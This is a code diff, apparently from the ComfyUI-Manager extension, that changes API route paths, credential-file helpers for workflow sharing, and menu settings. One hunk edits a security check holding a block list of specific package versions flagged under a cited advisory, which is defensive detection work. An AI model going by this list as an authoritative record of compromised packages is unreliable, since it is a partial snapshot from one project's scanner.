"litellm==1.82.7": "litellm==1.82.7",
|
||||
"litellm==1.82.8": "litellm==1.82.8",
|
||||
"ultralytics==8.3.41": "ultralytics==8.3.41"
|
||||
}
|
||||
|
||||
file_blacklist = {
|
||||
@@ -106,7 +69,6 @@ Advisory: PYSEC-2026-2
|
||||
}
|
||||
|
||||
installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
|
||||
installed_pip_set = set(installed_pips.strip().split('\n'))
|
||||
|
||||
detected = set()
|
||||
try:
|
||||
@@ -132,12 +94,9 @@ Advisory: PYSEC-2026-2
|
||||
detected.add(v)
|
||||
|
||||
for k, v in pip_blacklist.items():
|
||||
if '==' in k:
|
||||
if k in installed_pip_set:
|
||||
detected.add(v)
|
||||
else:
|
||||
if any(line.split('==')[0] == k for line in installed_pip_set):
|
||||
detected.add(v)
|
||||
if k in installed_pips:
|
||||
detected.add(v)
|
||||
break
|
||||
|
||||
for k, v in file_blacklist.items():
|
||||
for x in v:
|
||||
@@ -146,9 +105,9 @@ Advisory: PYSEC-2026-2
|
||||
break
|
||||
|
||||
if len(detected) > 0:
|
||||
for line in installed_pip_set:
|
||||
for line in installed_pips.split('\n'):
|
||||
for k, v in pip_blacklist.items():
|
||||
if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
|
||||
if k in line:
|
||||
print(f"[SECURITY ALERT] '{line}' is dangerous.")
|
||||
|
||||
print("\n########################################################################")
|
||||
@@ -1,7 +1,5 @@
|
||||
import mimetypes
|
||||
from ..common import context
|
||||
from . import manager_core as core
|
||||
|
||||
import manager_core as core
|
||||
import os
|
||||
from aiohttp import web
|
||||
import aiohttp
|
||||
@@ -10,16 +8,6 @@ import hashlib
|
||||
|
||||
import folder_paths
|
||||
from server import PromptServer
|
||||
import logging
|
||||
import sys
|
||||
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
matrix_nio_is_available = True
|
||||
except Exception:
|
||||
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
|
||||
matrix_nio_is_available = False
|
||||
|
||||
|
||||
def extract_model_file_names(json_data):
|
||||
@@ -65,7 +53,7 @@ def compute_sha256_checksum(filepath):
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/share_option")
|
||||
@PromptServer.instance.routes.get("/manager/share_option")
|
||||
async def share_option(request):
|
||||
if "value" in request.rel_url.query:
|
||||
core.get_config()['share_option'] = request.rel_url.query['value']
|
||||
@@ -77,21 +65,21 @@ async def share_option(request):
|
||||
|
||||
|
||||
def get_openart_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
|
||||
if not os.path.exists(os.path.join(core.manager_files_path, ".openart_key")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
|
||||
with open(os.path.join(core.manager_files_path, ".openart_key"), "r") as f:
|
||||
openart_key = f.read().strip()
|
||||
return openart_key if openart_key else None
|
||||
except Exception:
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def get_matrix_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
|
||||
if not os.path.exists(os.path.join(core.manager_files_path, "matrix_auth")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
|
||||
with open(os.path.join(core.manager_files_path, "matrix_auth"), "r") as f:
|
||||
matrix_auth = f.read()
|
||||
homeserver, username, password = matrix_auth.strip().split("\n")
|
||||
if not homeserver or not username or not password:
|
||||
@@ -101,40 +89,40 @@ def get_matrix_auth():
|
||||
"username": username,
|
||||
"password": password,
|
||||
}
|
||||
except Exception:
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def get_comfyworkflows_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
|
||||
if not os.path.exists(os.path.join(core.manager_files_path, "comfyworkflows_sharekey")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
|
||||
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
|
||||
share_key = f.read()
|
||||
if not share_key.strip():
|
||||
return None
|
||||
return share_key
|
||||
except Exception:
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def get_youml_settings():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
|
||||
if not os.path.exists(os.path.join(core.manager_files_path, ".youml")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
|
||||
with open(os.path.join(core.manager_files_path, ".youml"), "r") as f:
|
||||
youml_settings = f.read().strip()
|
||||
return youml_settings if youml_settings else None
|
||||
except Exception:
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def set_youml_settings(settings):
|
||||
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
|
||||
with open(os.path.join(core.manager_files_path, ".youml"), "w") as f:
|
||||
f.write(settings)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
|
||||
@PromptServer.instance.routes.get("/manager/get_openart_auth")
|
||||
async def api_get_openart_auth(request):
|
||||
# print("Getting stored Matrix credentials...")
|
||||
openart_key = get_openart_auth()
|
||||
@@ -143,16 +131,16 @@ async def api_get_openart_auth(request):
|
||||
return web.json_response({"openart_key": openart_key})
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
|
||||
@PromptServer.instance.routes.post("/manager/set_openart_auth")
|
||||
async def api_set_openart_auth(request):
|
||||
json_data = await request.json()
|
||||
openart_key = json_data['openart_key']
|
||||
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
|
||||
with open(os.path.join(core.manager_files_path, ".openart_key"), "w") as f:
|
||||
f.write(openart_key)
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
|
||||
@PromptServer.instance.routes.get("/manager/get_matrix_auth")
|
||||
async def api_get_matrix_auth(request):
|
||||
# print("Getting stored Matrix credentials...")
|
||||
matrix_auth = get_matrix_auth()
|
||||
@@ -161,7 +149,7 @@ async def api_get_matrix_auth(request):
|
||||
return web.json_response(matrix_auth)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
|
||||
@PromptServer.instance.routes.get("/manager/youml/settings")
|
||||
async def api_get_youml_settings(request):
|
||||
youml_settings = get_youml_settings()
|
||||
if not youml_settings:
|
||||
@@ -169,14 +157,14 @@ async def api_get_youml_settings(request):
|
||||
return web.json_response(json.loads(youml_settings))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
|
||||
@PromptServer.instance.routes.post("/manager/youml/settings")
|
||||
async def api_set_youml_settings(request):
|
||||
json_data = await request.json()
|
||||
set_youml_settings(json.dumps(json_data))
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
|
||||
@PromptServer.instance.routes.get("/manager/get_comfyworkflows_auth")
|
||||
async def api_get_comfyworkflows_auth(request):
|
||||
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
|
||||
# in the same directory as the ComfyUI base folder
|
||||
@@ -187,39 +175,31 @@ async def api_get_comfyworkflows_auth(request):
|
||||
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
|
||||
@PromptServer.instance.routes.post("/manager/set_esheep_workflow_and_images")
|
||||
async def set_esheep_workflow_and_images(request):
|
||||
json_data = await request.json()
|
||||
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
|
||||
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
|
||||
json.dump(json_data, file, indent=4)
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
|
||||
@PromptServer.instance.routes.get("/manager/get_esheep_workflow_and_images")
|
||||
async def get_esheep_workflow_and_images(request):
|
||||
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
|
||||
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
|
||||
data = json.load(file)
|
||||
return web.Response(status=200, text=json.dumps(data))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
|
||||
async def get_matrix_dep_status(request):
|
||||
if matrix_nio_is_available:
|
||||
return web.Response(status=200, text='available')
|
||||
else:
|
||||
return web.Response(status=200, text='unavailable')
|
||||
|
||||
|
||||
def set_matrix_auth(json_data):
|
||||
homeserver = json_data['homeserver']
|
||||
username = json_data['username']
|
||||
password = json_data['password']
|
||||
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
|
||||
with open(os.path.join(core.manager_files_path, "matrix_auth"), "w") as f:
|
||||
f.write("\n".join([homeserver, username, password]))
|
||||
|
||||
|
||||
def set_comfyworkflows_auth(comfyworkflows_sharekey):
|
||||
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
|
||||
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
|
||||
f.write(comfyworkflows_sharekey)
|
||||
|
||||
|
||||
@@ -231,7 +211,7 @@ def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
|
||||
return comfyworkflows_sharekey.strip()
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/share")
|
||||
@PromptServer.instance.routes.post("/manager/share")
|
||||
async def share_art(request):
|
||||
# get json data
|
||||
json_data = await request.json()
|
||||
@@ -253,7 +233,7 @@ async def share_art(request):
|
||||
|
||||
try:
|
||||
output_to_share = potential_outputs[int(selected_output_index)]
|
||||
except Exception:
|
||||
except:
|
||||
# for now, pick the first output
|
||||
output_to_share = potential_outputs[0]
|
||||
|
||||
@@ -349,12 +329,14 @@ async def share_art(request):
|
||||
workflowId = upload_workflow_json["workflowId"]
|
||||
|
||||
# check if the user has provided Matrix credentials
|
||||
if matrix_nio_is_available and "matrix" in share_destinations:
|
||||
if "matrix" in share_destinations:
|
||||
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
|
||||
filename = os.path.basename(asset_filepath)
|
||||
content_type = assetFileType
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
|
||||
homeserver = 'matrix.org'
|
||||
if matrix_auth:
|
||||
homeserver = matrix_auth.get('homeserver', 'matrix.org')
|
||||
@@ -1,6 +1,6 @@
|
||||
import { api } from "../../scripts/api.js";
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { sleep, customConfirm, customAlert } from "./common.js";
|
||||
import { sleep, customConfirm, customAlert, handle403Response, show_message } from "./common.js";
|
||||
|
||||
async function tryInstallCustomNode(event) {
|
||||
let msg = '-= [ComfyUI Manager] extension installation request =-\n\n';
|
||||
@@ -25,7 +25,7 @@ async function tryInstallCustomNode(event) {
|
||||
const res = await customConfirm(msg);
|
||||
if(res) {
|
||||
if(event.detail.target.installed == 'Disabled') {
|
||||
const response = await api.fetchApi(`/v2/customnode/toggle_active`, {
|
||||
const response = await api.fetchApi(`/customnode/toggle_active`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(event.detail.target)
|
||||
@@ -35,14 +35,14 @@ async function tryInstallCustomNode(event) {
|
||||
await sleep(300);
|
||||
app.ui.dialog.show(`Installing... '${event.detail.target.title}'`);
|
||||
|
||||
const response = await api.fetchApi(`/v2/customnode/install`, {
|
||||
const response = await api.fetchApi(`/customnode/install`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(event.detail.target)
|
||||
});
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(response);
|
||||
return false;
|
||||
}
|
||||
else if(response.status == 400) {
|
||||
@@ -52,9 +52,9 @@ async function tryInstallCustomNode(event) {
|
||||
}
|
||||
}
|
||||
|
||||
let response = await api.fetchApi("/v2/manager/reboot");
|
||||
let response = await api.fetchApi("/manager/reboot");
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
await handle403Response(response);
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -14,8 +14,9 @@ import { OpenArtShareDialog } from "./comfyui-share-openart.js";
|
||||
import {
|
||||
free_models, install_pip, install_via_git_url, manager_instance,
|
||||
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID
|
||||
infoToast, showTerminal, setNeedRestart, handle403Response
|
||||
} from "./common.js";
|
||||
import { ComponentBuilderDialog, getPureName, load_components, set_component_policy } from "./components-manager.js";
|
||||
import { CustomNodesManager } from "./custom-nodes-manager.js";
|
||||
import { ModelManager } from "./model-manager.js";
|
||||
import { SnapshotManager } from "./snapshot.js";
|
||||
@@ -194,7 +195,8 @@ docStyle.innerHTML = `
|
||||
}
|
||||
`;
|
||||
|
||||
function isBeforeFrontendVersion(compareVersion) {
|
||||
function is_legacy_front() {
|
||||
let compareVersion = '1.2.49';
|
||||
try {
|
||||
const frontendVersion = window['__COMFYUI_FRONTEND_VERSION__'];
|
||||
if (typeof frontendVersion !== 'string') {
|
||||
@@ -236,7 +238,7 @@ var restart_stop_button = null;
|
||||
var update_policy_combo = null;
|
||||
|
||||
let share_option = 'all';
|
||||
var batch_id = null;
|
||||
var is_updating = false;
|
||||
|
||||
|
||||
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
|
||||
@@ -407,7 +409,7 @@ const style = `
|
||||
`;
|
||||
|
||||
async function init_share_option() {
|
||||
api.fetchApi('/v2/manager/share_option')
|
||||
api.fetchApi('/manager/share_option')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
share_option = data || 'all';
|
||||
@@ -415,7 +417,7 @@ async function init_share_option() {
|
||||
}
|
||||
|
||||
async function init_notice(notice) {
|
||||
api.fetchApi('/v2/manager/notice')
|
||||
api.fetchApi('/manager/notice')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
notice.innerHTML = data;
|
||||
@@ -466,19 +468,14 @@ async function updateComfyUI() {
|
||||
let prev_text = update_comfyui_button.innerText;
|
||||
update_comfyui_button.innerText = "Updating ComfyUI...";
|
||||
|
||||
// set_inprogress_mode();
|
||||
set_inprogress_mode();
|
||||
|
||||
const response = await api.fetchApi('/manager/queue/update_comfyui');
|
||||
|
||||
showTerminal();
|
||||
|
||||
batch_id = generateUUID();
|
||||
|
||||
let batch = {};
|
||||
batch['batch_id'] = batch_id;
|
||||
batch['update_comfyui'] = true;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
is_updating = true;
|
||||
await api.fetchApi('/manager/queue/start');
|
||||
}
|
||||
|
||||
function showVersionSelectorDialog(versions, current, onSelect) {
|
||||
@@ -609,7 +606,7 @@ async function switchComfyUI() {
|
||||
switch_comfyui_button.disabled = true;
|
||||
switch_comfyui_button.style.backgroundColor = "gray";
|
||||
|
||||
let res = await api.fetchApi(`/v2/comfyui_manager/comfyui_versions`, { cache: "no-store" });
|
||||
let res = await api.fetchApi(`/comfyui_manager/comfyui_versions`, { cache: "no-store" });
|
||||
|
||||
switch_comfyui_button.disabled = false;
|
||||
switch_comfyui_button.style.backgroundColor = "";
|
||||
@@ -628,14 +625,14 @@ async function switchComfyUI() {
|
||||
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
|
||||
if(selected_version == 'nightly') {
|
||||
update_policy_combo.value = 'nightly-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update?value=nightly-comfyui');
|
||||
api.fetchApi('/manager/policy/update?value=nightly-comfyui');
|
||||
}
|
||||
else {
|
||||
update_policy_combo.value = 'stable-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update?value=stable-comfyui');
|
||||
api.fetchApi('/manager/policy/update?value=stable-comfyui');
|
||||
}
|
||||
|
||||
let response = await api.fetchApi(`/v2/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
|
||||
let response = await api.fetchApi(`/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
|
||||
if (response.status == 200) {
|
||||
infoToast(`ComfyUI version is switched to ${selected_version}`);
|
||||
}
|
||||
@@ -653,17 +650,18 @@ async function onQueueStatus(event) {
|
||||
const isElectron = 'electronAPI' in window;
|
||||
|
||||
if(event.detail.status == 'in_progress') {
|
||||
// set_inprogress_mode();
|
||||
set_inprogress_mode();
|
||||
update_all_button.innerText = `in progress.. (${event.detail.done_count}/${event.detail.total_count})`;
|
||||
}
|
||||
else if(event.detail.status == 'all-done') {
|
||||
else if(event.detail.status == 'done') {
|
||||
reset_action_buttons();
|
||||
}
|
||||
else if(event.detail.status == 'batch-done') {
|
||||
if(batch_id != event.detail.batch_id) {
|
||||
|
||||
if(!is_updating) {
|
||||
return;
|
||||
}
|
||||
|
||||
is_updating = false;
|
||||
|
||||
let success_list = [];
|
||||
let failed_list = [];
|
||||
let comfyui_state = null;
|
||||
@@ -749,9 +747,9 @@ async function onQueueStatus(event) {
|
||||
|
||||
const rebootButton = document.getElementById('cm-reboot-button5');
|
||||
rebootButton?.addEventListener("click",
|
||||
function() {
|
||||
if(rebootAPI()) {
|
||||
manager_dialog.close();
|
||||
async function() {
|
||||
if(await rebootAPI()) {
|
||||
manager_instance.close();
|
||||
}
|
||||
});
|
||||
}
|
||||
@@ -763,28 +761,46 @@ api.addEventListener("cm-queue-status", onQueueStatus);
|
||||
async function updateAll(update_comfyui) {
|
||||
update_all_button.innerText = "Updating...";
|
||||
|
||||
// set_inprogress_mode();
|
||||
set_inprogress_mode();
|
||||
|
||||
var mode = manager_instance.datasrc_combo.value;
|
||||
|
||||
showTerminal();
|
||||
|
||||
batch_id = generateUUID();
|
||||
|
||||
let batch = {};
|
||||
if(update_comfyui) {
|
||||
update_all_button.innerText = "Updating ComfyUI...";
|
||||
batch['update_comfyui'] = true;
|
||||
await api.fetchApi('/manager/queue/update_comfyui');
|
||||
}
|
||||
|
||||
batch['update_all'] = mode;
|
||||
const response = await api.fetchApi(`/manager/queue/update_all?mode=${mode}`);
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
if (response.status == 403) {
|
||||
await handle403Response(response);
|
||||
reset_action_buttons();
|
||||
}
|
||||
else if (response.status == 401) {
|
||||
customAlert('Another task is already in progress. Please stop the ongoing task first.');
|
||||
reset_action_buttons();
|
||||
}
|
||||
else if(response.status == 200) {
|
||||
is_updating = true;
|
||||
await api.fetchApi('/manager/queue/start');
|
||||
}
|
||||
}
|
||||
|
||||
function newDOMTokenList(initialTokens) {
|
||||
const tmp = document.createElement(`div`);
|
||||
|
||||
const classList = tmp.classList;
|
||||
if (initialTokens) {
|
||||
initialTokens.forEach(token => {
|
||||
classList.add(token);
|
||||
});
|
||||
}
|
||||
|
||||
return classList;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether the node is a potential output node (img, gif or video output)
|
||||
*/
|
||||
@@ -797,7 +813,7 @@ function restartOrStop() {
|
||||
rebootAPI();
|
||||
}
|
||||
else {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/manager/queue/reset');
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
}
|
||||
@@ -946,21 +962,119 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
|
||||
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
|
||||
|
||||
api.fetchApi('/v2/manager/db_mode')
|
||||
api.fetchApi('/manager/db_mode')
|
||||
.then(response => response.text())
|
||||
.then(data => { this.datasrc_combo.value = data; });
|
||||
|
||||
this.datasrc_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
|
||||
api.fetchApi(`/manager/db_mode?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
|
||||
|
||||
// preview method
|
||||
let preview_combo = document.createElement("select");
|
||||
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
|
||||
preview_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
|
||||
// Loading state to prevent flash of enabled state
|
||||
preview_combo.appendChild($el('option', { value: '', text: 'Loading...', disabled: true }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'auto', text: 'Auto' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'taesd', text: 'TAESD (slow)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Latent2RGB (fast)' }, []));
|
||||
preview_combo.appendChild($el('option', { value: 'none', text: 'None (very fast)' }, []));
|
||||
|
||||
// Start disabled to prevent flash
|
||||
preview_combo.disabled = true;
|
||||
preview_combo.value = '';
|
||||
|
||||
// Fetch current state
|
||||
api.fetchApi('/manager/preview_method')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
// Remove loading option
|
||||
preview_combo.querySelector('option[value=""]')?.remove();
|
||||
|
||||
if (data === "DISABLED") {
|
||||
// ComfyUI per-queue preview feature is active
|
||||
preview_combo.disabled = true;
|
||||
preview_combo.value = 'auto';
|
||||
|
||||
// Accessibility attributes
|
||||
preview_combo.setAttribute("aria-disabled", "true");
|
||||
preview_combo.setAttribute("aria-label",
|
||||
"Preview method setting (disabled - managed by ComfyUI). " +
|
||||
"Use Settings > Execution > Live preview method instead."
|
||||
);
|
||||
|
||||
// Tooltip for mouse users
|
||||
preview_combo.setAttribute("title",
|
||||
"This feature is now provided natively by ComfyUI. " +
|
||||
"Please use 'Settings > Execution > Live preview method' instead."
|
||||
);
|
||||
|
||||
// Visual feedback
|
||||
preview_combo.style.opacity = '0.6';
|
||||
preview_combo.style.cursor = 'not-allowed';
|
||||
} else {
|
||||
// Manager feature is active
|
||||
preview_combo.disabled = false;
|
||||
preview_combo.value = data;
|
||||
|
||||
// Accessibility for enabled state
|
||||
preview_combo.setAttribute("aria-label",
|
||||
"Preview method setting. Select how latent variables are decoded during preview."
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('[ComfyUI-Manager] Failed to fetch preview method status:', error);
|
||||
// Error recovery: fallback to enabled
|
||||
preview_combo.querySelector('option[value=""]')?.remove();
|
||||
preview_combo.disabled = false;
|
||||
preview_combo.value = 'auto';
|
||||
});
|
||||
|
||||
preview_combo.addEventListener('change', function (event) {
|
||||
// Ignore if disabled
|
||||
if (preview_combo.disabled) {
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
|
||||
// Normal operation
|
||||
api.fetchApi(`/manager/preview_method?value=${event.target.value}`)
|
||||
.then(response => {
|
||||
if (response.status === 403) {
|
||||
// Feature transitioned to native
|
||||
alert(
|
||||
'This feature is now provided natively by ComfyUI.\n' +
|
||||
'Please use \'Settings > Execution > Live preview method\' instead.'
|
||||
);
|
||||
preview_combo.disabled = true;
|
||||
preview_combo.style.opacity = '0.6';
|
||||
preview_combo.style.cursor = 'not-allowed';
|
||||
|
||||
// Update aria attributes
|
||||
preview_combo.setAttribute("aria-disabled", "true");
|
||||
preview_combo.setAttribute("aria-label",
|
||||
"Preview method setting (disabled - managed by ComfyUI). " +
|
||||
"Use Settings > Execution > Live preview method instead."
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('[ComfyUI-Manager] Preview method update failed:', error);
|
||||
});
|
||||
});
|
||||
|
||||
const previewSetttingItem = createSettingsCombo("Preview method", preview_combo);
|
||||
|
||||
// channel
|
||||
let channel_combo = document.createElement("select");
|
||||
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
|
||||
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
api.fetchApi('/v2/manager/channel_url_list')
|
||||
api.fetchApi('/manager/channel_url_list')
|
||||
.then(response => response.json())
|
||||
.then(async data => {
|
||||
try {
|
||||
@@ -973,7 +1087,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
channel_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/channel_url_list?value=${event.target.value}`);
|
||||
api.fetchApi(`/manager/channel_url_list?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
channel_combo.value = data.selected;
|
||||
@@ -1003,7 +1117,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
|
||||
}
|
||||
|
||||
api.fetchApi('/v2/manager/share_option')
|
||||
api.fetchApi('/manager/share_option')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
share_combo.value = data || 'all';
|
||||
@@ -1013,7 +1127,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
share_combo.addEventListener('change', function (event) {
|
||||
const value = event.target.value;
|
||||
share_option = value;
|
||||
api.fetchApi(`/v2/manager/share_option?value=${value}`);
|
||||
api.fetchApi(`/manager/share_option?value=${value}`);
|
||||
const shareButton = document.getElementById("shareButton");
|
||||
if (value === 'none') {
|
||||
shareButton.style.display = "none";
|
||||
@@ -1024,20 +1138,40 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
const shareSetttingItem = createSettingsCombo("Share", share_combo);
|
||||
|
||||
let component_policy_combo = document.createElement("select");
|
||||
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
|
||||
component_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Use workflow version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Use higher version' }, []));
|
||||
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Use my version' }, []));
|
||||
api.fetchApi('/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
component_policy_combo.value = data;
|
||||
set_component_policy(data);
|
||||
});
|
||||
|
||||
component_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/manager/policy/component?value=${event.target.value}`);
|
||||
set_component_policy(event.target.value);
|
||||
});
|
||||
|
||||
const componentSetttingItem = createSettingsCombo("Component", component_policy_combo);
|
||||
|
||||
update_policy_combo = document.createElement("select");
|
||||
|
||||
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
|
||||
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
|
||||
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
|
||||
api.fetchApi('/v2/manager/policy/update')
|
||||
api.fetchApi('/manager/policy/update')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
update_policy_combo.value = data;
|
||||
});
|
||||
|
||||
update_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
|
||||
api.fetchApi(`/manager/policy/update?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
|
||||
@@ -1048,7 +1182,9 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
return [
|
||||
dbRetrievalSetttingItem,
|
||||
channelSetttingItem,
|
||||
previewSetttingItem,
|
||||
shareSetttingItem,
|
||||
componentSetttingItem,
|
||||
updateSetttingItem,
|
||||
//[TODO] replace mt-2 with wrapper div with flex column gap
|
||||
$el("filedset.cm-experimental.mt-auto", {}, [
|
||||
@@ -1331,12 +1467,12 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
async function getVersion() {
|
||||
let version = await api.fetchApi(`/v2/manager/version`);
|
||||
let version = await api.fetchApi(`/manager/version`);
|
||||
return await version.text();
|
||||
}
|
||||
|
||||
app.registerExtension({
|
||||
name: "Comfy.Legacy.ManagerMenu",
|
||||
name: "Comfy.ManagerMenu",
|
||||
|
||||
aboutPageBadges: [
|
||||
{
|
||||
@@ -1388,6 +1524,39 @@ app.registerExtension({
|
||||
});
|
||||
},
|
||||
async setup() {
|
||||
let orig_clear = app.graph.clear;
|
||||
app.graph.clear = function () {
|
||||
orig_clear.call(app.graph);
|
||||
load_components();
|
||||
};
|
||||
|
||||
load_components();
|
||||
|
||||
// Fetch and show startup alerts (critical errors like outdated ComfyUI)
|
||||
// Poll until extensionManager.toast is ready (set in Vue onMounted)
|
||||
const showStartupAlerts = async () => {
|
||||
let toastWaitCount = 0;
|
||||
const waitForToast = () => {
|
||||
if (window['app']?.extensionManager?.toast) {
|
||||
fetch('/manager/startup_alerts')
|
||||
